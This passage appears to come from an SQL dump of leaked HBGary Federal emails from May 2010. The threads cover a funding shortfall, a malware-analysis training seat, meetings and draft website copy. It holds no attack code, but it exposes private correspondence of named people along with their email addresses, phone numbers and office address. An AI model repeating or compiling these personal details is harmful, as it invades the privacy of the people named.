a\r\n> meeting at 8:30 am, I anticipate about a hour to hour and a half and another\r\n> at 12:00 with Andy Purdy, then I fly out 3:50PM.  I believe DeeAnn deposited\r\n> the check on Friday, might not have hit.  You need to sign a new document\r\n> that would allow me to transfer funds to your account.  Otherwise we have to\r\n> go to the bank which while close, it difficult when we are slammed, which we\r\n> are right now.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, May 07, 2010 6:23 PM\r\n> To: Penny Leavy; Greg Hoglund\r\n> Cc: Ted Vera\r\n> Subject: Funding\r\n>\r\n> Penny/Greg,\r\n>\r\n> We need to have a conversation about funding, our pipeline, and path\r\n> forward.  We are dangerously low on funds.  To the point we paid mark\r\n> this week but could not pay ourselves.\r\n>\r\n> Please let\'s set up something for Monday.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n',1856,'aaron_hbgary_com/1856.html'),(6135,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004420.M562426P14101Q990.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Training','Hopefully we can get together to talk about the training and ir work.AaronSent from my iPadOn May 8, 2010, at 10:25 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI don’t have a problem with you training, provided that it’s\r\non the cirriculm and you know it.  With regards to IR, we are hiring\r\nsomeone to do it.  We need someone specialized to do it, if you’ve\r\nnever done it before it’s not something  you just “pick up”. \r\nHaving been on a couple now, we found things out that we weren’t\r\nanticipating, you have to be a malware specialist and know network stuff,\r\nEncase etc.  I don’t’ think we should try to do this without\r\nhaving experience.  Without Rich and Phil, we would never have been able\r\nto do this.  That said, we can work something out with Mike.  We also\r\nhave relationships in place we can call on.  ISEc is training here on T/W\r\nand they are good.  Let’s discus with Greg on phone\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, May 07, 2010 2:55 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Hoglund Greg; Barr Aaron\r\nSubject: Re: Training\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAfter Mark is trained up on the tools, what do you think\r\nabout us conducting the basic courses here in Colorado Springs? I could promote\r\nit, and think that there would be enough interest between Colorado Springs and\r\nDenver to fill the seats. I&#39;ve taught classes for years and with a little ramp\r\nup Mark and I would be comfortable delivering the course material. It could\r\nhelp us get leads for incident response and services gigs, and help bring in\r\nsome revenue. I know people at TechWise and other training centers we could\r\nrent their facilities that have PCs, projectors and everything we&#39;d need...\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWhat do you think?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 7, 2010, at 2:21 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe\r\ntraining is at the office, we built out the room upstairs.  Yes we are\r\nhaving a mixer\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\n\r\nSent: Friday, May 07, 2010 1:17 PM\r\nTo: Leavy Penny; Hoglund Greg\r\nCc: Barr Aaron\r\nSubject: Fwd: Training\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nMark\r\nwill be out in Sacramento next week attending the Malware RE training. Will you\r\nbe having a mixer like last time? I&#39;d like him to stop by the office to see the\r\nfacility and meet you and the team. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nMark Trynor &lt;mark@hbgary.com&gt;\r\nDate: May 5, 2010 3:58:32 PM MDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: Re: Training\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----BEGIN\r\nPGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nAll right I&#39;m booked.  You wouldn&#39;t happen to still have the electronic\r\nticket/boarding passes stuff from our last trip out there would you?\r\n\r\nOn 05/05/2010 03:02 PM, Ted Vera wrote:\r\n\r\nCan\r\nyou reply to all once you&#39;ve decided if you can go, so Jim\r\n\r\n\r\n\r\nreserves\r\nthe slot.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMay 5, 2010, at 2:02 PM, Jim Richards &lt;jim@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs\r\na matter of fact, there is 1 seat available! Send him out!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim\r\nRichards | Learning Programs Manager | HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n3604\r\nFair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCell\r\nPhone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n916-481-1460\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWebsite:\r\nwww.hbgary.com | email: jim@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original\r\nMessage-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nTed Vera [mailto:ted@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent:\r\nWednesday, May 05, 2010 1:03 PM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nRichards Jim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc:\r\nMark Trynor; Barr Aaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nTraining\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nJim,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIs\r\nthere room for our new employee, Mark Trynor, to sit in the May\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n11-12\r\nMalware class in Sacramento?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-----BEGIN\r\nPGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkvh6ggACgkQWw/TEDXzQNPL/QCfYp9gCcMDVN9ze1W1Dgozo4J7\r\nswYAnRyF9NwRLdTViR12r7u0v61DDWgW\r\n=dkUz\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5202,'aaron_hbgary_com/5202.html'),(6136,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004420.M777407P14101Q991.eml','\"Goldman, Bradford L.\" <BRADFORD.L.GOLDMAN@saic.com>','Re: Discussion','Tuesday 330 still work?  Where would you like to meet?\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 7, 2010, at 4:27 PM, \"Goldman, Bradford L.\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Sounds good, how about Tuesday at 3:30pm or later or Wednesday morning\r\n> around 10 or 11 am?\r\n>\r\n> regards,\r\n> Brad Goldman\r\n> +1.703.966.6010\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, May 07, 2010 8:42 AM\r\n> To: Goldman, Bradford L.\r\n> Subject: Discussion\r\n>\r\n> Hi Brad,\r\n>\r\n> We met briefly at the Tech Tuesday last week.  You mentioned you would\r\n> like to have a follow on conversation.  Let me know some\r\n> availabilities and maybe we can meet up next week.\r\n>\r\n> Aaron\r\n> CEO\r\n> HBGary Federal\r\n>\r\n> Sent from my iPad\r\n',1891,'aaron_hbgary_com/1891.html'),(6137,'2010-05-10','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004421.M101457P14101Q992.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,aaron@hbgary.com,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,dta@archimedesglobal.com,jon@whitecanvasgroup.com','COIN review','\r\n\r\n\r\n\r\n\r\nCOIN review\r\n\r\n\r\n\r\n\r\nType:Single Meeting\r\nOrganizer:Clair, Chris (TASC)\r\nStart Time:Tuesday, May 18, 2010 10:00 AM\r\nEnd Time:Tuesday, May 18, 2010 12:00 PM\r\nTime Zone:(GMT-05:00) Eastern Time (US &amp; Canada)\r\nLocation:WF4 (conf A or B)\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nLet\'s get together and chat some COIN.&nbsp;\r\n\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp;&nbsp; &lt;&lt;ole0.bmp&gt;&gt;&nbsp; |Chris Clair | Program Manager | 703.449.3964\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1064,'aaron_hbgary_com/1064.html'),(6138,'2010-05-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004421.M425627P14101Q993.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Funding','BWI Sheraton at 1100 Elkridge\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, May 09, 2010 8:48 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Funding\r\n\r\nAre u meeting Andy in md or dc?  I would lime to try and catch up with\r\nu after the 830 meeting.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 8, 2010, at 10:22 PM, Penny Leavy-Hoglund  wrote:\r\n\r\n> I will be in DC on Monday and back in Sacramento on Tuesday.  I have a\r\n> meeting at 8:30 am, I anticipate about a hour to hour and a half and\r\nanother\r\n> at 12:00 with Andy Purdy, then I fly out 3:50PM.  I believe DeeAnn\r\ndeposited\r\n> the check on Friday, might not have hit.  You need to sign a new document\r\n> that would allow me to transfer funds to your account.  Otherwise we have\r\nto\r\n> go to the bank which while close, it difficult when we are slammed, which\r\nwe\r\n> are right now.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, May 07, 2010 6:23 PM\r\n> To: Penny Leavy; Greg Hoglund\r\n> Cc: Ted Vera\r\n> Subject: Funding\r\n>\r\n> Penny/Greg,\r\n>\r\n> We need to have a conversation about funding, our pipeline, and path\r\n> forward.  We are dangerously low on funds.  To the point we paid mark\r\n> this week but could not pay ourselves.\r\n>\r\n> Please let\'s set up something for Monday.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n\r\n',8264,'aaron_hbgary_com/8264.html'),(6139,'2010-05-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004421.M644607P14101Q994.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Fwd: HBGary','Cool, looks like he had an \"interesting\" job over at NSA.  \r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Saturday, May 08, 2010 8:19 PM\r\nTo: Penny Leavy-Hoglund; Greg Hoglund; \'Aaron Barr\'\r\nSubject: Fwd: Fwd: HBGary\r\n\r\nDavid Willson is retiring from US Army Strategic Command in a couple of\r\nmonths.  He is one of the top Cyber Attorneys in the Army.  He has lots of\r\nexperience dealing with the legal aspects of incident response.  We are\r\nplanning to get him on a consulting agreement so we can use him for future\r\nengagements, and contracts that require legal expertise, such as COIN.  His\r\nresume is attached.\r\n\r\nTed\r\n\r\n\r\n',13152,'aaron_hbgary_com/13152.html'),(6140,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004421.M850033P14101Q995.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Website content','Let me know what u think.  I will be adding a little more to the\r\ncareers and I need to work on the panel images.\r\n\r\nI would like to go on an incident response engagement when\r\nappropriate.  I wan to watch phil and rich work.  Would be very\r\nhelpful when offering our own solution.\r\n\r\nAaron\r\n\r\n\r\nHeadings:\r\nHome\r\nCompany\r\nServices\r\nProducts\r\nCommunity\r\nNews&Events\r\nPartners\r\nCareers\r\n\r\nUse the same 3 pane format:\r\nIncident response\r\nThreat Intelligence\r\nInformation Operations\r\n\r\n\r\nCOMPANY\r\nHBGary Federal is an information security services company providing\r\nlifecycle support for enterprise incident response, malware analysis,\r\nand information operations.  HBGary Federal\'s mission is to provide\r\nthe best Cyber security and Information Operations specialists, threat\r\nand malware analysts to assist our customers in advancing the nations\r\ncapabilities in securing cyberspace and combating evolving threats.\r\nOur focus is bringing together creative, technical talent, experienced\r\nthreat and intelligence analysts, and mission and cultural experts to\r\ndevelop unconventional and innovative cybersecurity capabilities. As a\r\ncore strength HBGary Federal leverages HBGary’s incident response and\r\nmalware reverse engineering and analysis tools, and brings extensive\r\nexperience in information operations and cyber security at the\r\nnational level.\r\n\r\nAaron Barr\r\nCEO\r\nAaron Barr has 20 years of security and intelligence experience at\r\nNorthrop Grumman, TASC, TRW, and the United States Navy.  He last\r\nserved as the Director of Technology for Northrop Grummans\r\nCybersecurity and SIGINT Business Unit, and as the Chief Engineer for\r\nNorthrop Grumman Corporation\'s Cyber Campaign.  Aaron has a Bachelors\r\ndegree in BioChemistry and a Masters degree in Computer Security.  He\r\nhas been a panelist and given speeches on cybersecurity and emerging\r\ntechnologies at numerous security conferences and symposiums.\r\n\r\nTed Vera\r\nPresident and COO\r\nTed Vera has 20 years of security experience at Northrop Grumman,\r\nTASC, TRW, and the United States Army.  He last led the Netcentric\r\nInformation Operations Department for Northrop Grumman Information\r\nSystems, specializing in cybersecurity and information operations\r\ncapabilities for the intelligence community. Ted has a Bachelors in\r\nComputer Information Systems a masters degree in Computer Security.\r\n\r\n\r\nSERVICES\r\nIncident Response\r\nA fast reacting and effective incident response capability is a\r\nnecessity to ensure mission execution and business continuity.  Our\r\nanalysts excel at fast and effective identification of advanced\r\nthreats and remediation of compromised systems.  But today, the\r\nbenefits of an effective remediation engagement only last as long as\r\nthe engagement itself.  We provide the tools and techniques to assist\r\nyour existing staff in advanced detection long after we are gone.\r\n\r\nThreat Intelligence\r\nTodays threats are better resourced, better organized, and have\r\nobjectives to steal intellectual property, personal information, and\r\ndisrupt business operations.  To achieve these objectives, adversaries\r\nare increasingly evolving the vehicles of exploitation.  We focus on a\r\nmulti-discipline approach to blending information and computer domains\r\nto develop comprehensive threat intelligence.  As the threat evolves\r\nwe know where to look for it\'s next mutation.\r\n\r\nInformation Operations\r\nHBGary Federal provides a host of full-spectrum information operations\r\ncapabilities with a team of world class software and hardware\r\nengineers.  We have pioneered capabilities that literally change the\r\ngame of information operations.  We make our mark through our\r\ncreativity in developing unique information operations solutions.\r\n\r\nMission Support\r\n\r\nPRODUCTS\r\nHBGary Federal delivers superior security services to customers for\r\nthree key reasons.  We recruit and hire only the most capable security\r\nengineers.  We are continually improving the effectiveness and\r\nefficiency of our incident response and analysis processes.  And we\r\nbring the best tools to the fight.  Leveraging HBGary\'s superior\r\nmalware analysis tools.\r\n\r\n\r\nResponder\r\nDDNA\r\nReCON\r\n\r\nCOMMUNITY\r\nblog for now -  I would like to post to this regularly.\r\n\r\nNEWS&EVENTS\r\nInitial Press Release -\r\nhttp://www.darkreading.com/securityservices/security/government/showArticle.jhtml?articleID=222000831\r\nPalantir - http://www.darkreading.com/securityservices/security/cybercrime/showArticle.jhtml?articleID=222400540&cid=RSSfeed_DR_News\r\nSecurity Training Interview -\r\nhttp://fcw.com/articles/2010/01/25/feat-cybersecurity-training-a-must.aspx\r\n451 Group Analysis -\r\nhttp://www.the451group.com/report_view/report_view.php?entity_id=61353\r\n\r\nPARTNERS\r\nPalantir\r\nNorthrop Grumman\r\nGeneral Dynamics\r\nFidelis\r\n\r\nCAREERS\r\nHBGary Federal is seeking experienced Incident Response / Forensics\r\ncandidates to provide services to our government and commercial\r\ncustomers.  Candidate must be fluent in incident response and forensic\r\nprocesses, tools and industry standards.  Ideal candidate will be\r\nexperienced using the HBGary product line including Responder Pro,\r\nDigital DNA, Flypaper, and REcon.\r\n\r\nMalware Analyst\r\nIncident Responder\r\n\r\n\r\nSent from my iPad\r\n',7997,'aaron_hbgary_com/7997.html'),(6141,'2010-05-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004422.M282840P14101Q997.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Funding','It went great.  He works for Tony in the Transformation area.  He is\r\nresponsible for SCap and a new protocol that has a working group June 8th to\r\nwhich we are invited.  He is at the Group Level.  Joe Wolfkill is at the\r\nOffice level along with Harley Parks and Scott Brown our advocate is at the\r\ndepartment level.  He\'s pretty high up there so we are talking to the right\r\npeople.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, May 10, 2010 5:51 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Funding\r\n\r\nOk see u there.  Hope meeting is going well.\r\n\r\nSent from my iPad\r\n\r\nOn May 10, 2010, at 7:47 AM, Penny Leavy-Hoglund  wrote:\r\n\r\n> BWI Sheraton at 1100 Elkridge\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Sunday, May 09, 2010 8:48 PM\r\n> To: Penny Leavy-Hoglund\r\n> Subject: Re: Funding\r\n>\r\n> Are u meeting Andy in md or dc?  I would lime to try and catch up with\r\n> u after the 830 meeting.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On May 8, 2010, at 10:22 PM, Penny Leavy-Hoglund  wrote:\r\n>\r\n>> I will be in DC on Monday and back in Sacramento on Tuesday.  I have a\r\n>> meeting at 8:30 am, I anticipate about a hour to hour and a half and\r\n> another\r\n>> at 12:00 with Andy Purdy, then I fly out 3:50PM.  I believe DeeAnn\r\n> deposited\r\n>> the check on Friday, might not have hit.  You need to sign a new document\r\n>> that would allow me to transfer funds to your account.  Otherwise we have\r\n> to\r\n>> go to the bank which while close, it difficult when we are slammed, which\r\n> we\r\n>> are right now.\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Friday, May 07, 2010 6:23 PM\r\n>> To: Penny Leavy; Greg Hoglund\r\n>> Cc: Ted Vera\r\n>> Subject: Funding\r\n>>\r\n>> Penny/Greg,\r\n>>\r\n>> We need to have a conversation about funding, our pipeline, and path\r\n>> forward.  We are dangerously low on funds.  To the point we paid mark\r\n>> this week but could not pay ourselves.\r\n>>\r\n>> Please let\'s set up something for Monday.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>>\r\n>\r\n\r\n',10689,'aaron_hbgary_com/10689.html'),(6142,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004422.M588109P14101Q998.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Training','I am here.  Where should I meet u?From my iPhoneOn May 8, 2010, at 10:25 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI don’t have a problem with you training, provided that it’s\r\non the cirriculm and you know it.  With regards to IR, we are hiring\r\nsomeone to do it.  We need someone specialized to do it, if you’ve\r\nnever done it before it’s not something  you just “pick up”. \r\nHaving been on a couple now, we found things out that we weren’t\r\nanticipating, you have to be a malware specialist and know network stuff,\r\nEncase etc.  I don’t’ think we should try to do this without\r\nhaving experience.  Without Rich and Phil, we would never have been able\r\nto do this.  That said, we can work something out with Mike.  We also\r\nhave relationships in place we can call on.  ISEc is training here on T/W\r\nand they are good.  Let’s discus with Greg on phone\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, May 07, 2010 2:55 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Hoglund Greg; Barr Aaron\r\nSubject: Re: Training\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAfter Mark is trained up on the tools, what do you think\r\nabout us conducting the basic courses here in Colorado Springs? I could promote\r\nit, and think that there would be enough interest between Colorado Springs and\r\nDenver to fill the seats. I&#39;ve taught classes for years and with a little ramp\r\nup Mark and I would be comfortable delivering the course material. It could\r\nhelp us get leads for incident response and services gigs, and help bring in\r\nsome revenue. I know people at TechWise and other training centers we could\r\nrent their facilities that have PCs, projectors and everything we&#39;d need...\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWhat do you think?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 7, 2010, at 2:21 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe\r\ntraining is at the office, we built out the room upstairs.  Yes we are\r\nhaving a mixer\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\n\r\nSent: Friday, May 07, 2010 1:17 PM\r\nTo: Leavy Penny; Hoglund Greg\r\nCc: Barr Aaron\r\nSubject: Fwd: Training\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nMark\r\nwill be out in Sacramento next week attending the Malware RE training. Will you\r\nbe having a mixer like last time? I&#39;d like him to stop by the office to see the\r\nfacility and meet you and the team. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nMark Trynor &lt;mark@hbgary.com&gt;\r\nDate: May 5, 2010 3:58:32 PM MDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: Re: Training\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----BEGIN\r\nPGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nAll right I&#39;m booked.  You wouldn&#39;t happen to still have the electronic\r\nticket/boarding passes stuff from our last trip out there would you?\r\n\r\nOn 05/05/2010 03:02 PM, Ted Vera wrote:\r\n\r\nCan\r\nyou reply to all once you&#39;ve decided if you can go, so Jim\r\n\r\n\r\n\r\nreserves\r\nthe slot.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMay 5, 2010, at 2:02 PM, Jim Richards &lt;jim@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs\r\na matter of fact, there is 1 seat available! Send him out!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim\r\nRichards | Learning Programs Manager | HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n3604\r\nFair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCell\r\nPhone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n916-481-1460\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWebsite:\r\nwww.hbgary.com | email: jim@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original\r\nMessage-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nTed Vera [mailto:ted@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent:\r\nWednesday, May 05, 2010 1:03 PM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nRichards Jim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc:\r\nMark Trynor; Barr Aaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nTraining\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nJim,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIs\r\nthere room for our new employee, Mark Trynor, to sit in the May\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n11-12\r\nMalware class in Sacramento?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-----BEGIN\r\nPGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkvh6ggACgkQWw/TEDXzQNPL/QCfYp9gCcMDVN9ze1W1Dgozo4J7\r\nswYAnRyF9NwRLdTViR12r7u0v61DDWgW\r\n=dkUz\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15320,'aaron_hbgary_com/15320.html'),(6143,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004422.M64872P14101Q996.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Funding','Ok see u there.  Hope meeting is going well.\r\n\r\nSent from my iPad\r\n\r\nOn May 10, 2010, at 7:47 AM, Penny Leavy-Hoglund  wrote:\r\n\r\n> BWI Sheraton at 1100 Elkridge\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Sunday, May 09, 2010 8:48 PM\r\n> To: Penny Leavy-Hoglund\r\n> Subject: Re: Funding\r\n>\r\n> Are u meeting Andy in md or dc?  I would lime to try and catch up with\r\n> u after the 830 meeting.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On May 8, 2010, at 10:22 PM, Penny Leavy-Hoglund  wrote:\r\n>\r\n>> I will be in DC on Monday and back in Sacramento on Tuesday.  I have a\r\n>> meeting at 8:30 am, I anticipate about a hour to hour and a half and\r\n> another\r\n>> at 12:00 with Andy Purdy, then I fly out 3:50PM.  I believe DeeAnn\r\n> deposited\r\n>> the check on Friday, might not have hit.  You need to sign a new document\r\n>> that would allow me to transfer funds to your account.  Otherwise we have\r\n> to\r\n>> go to the bank which while close, it difficult when we are slammed, which\r\n> we\r\n>> are right now.\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Friday, May 07, 2010 6:23 PM\r\n>> To: Penny Leavy; Greg Hoglund\r\n>> Cc: Ted Vera\r\n>> Subject: Funding\r\n>>\r\n>> Penny/Greg,\r\n>>\r\n>> We need to have a conversation about funding, our pipeline, 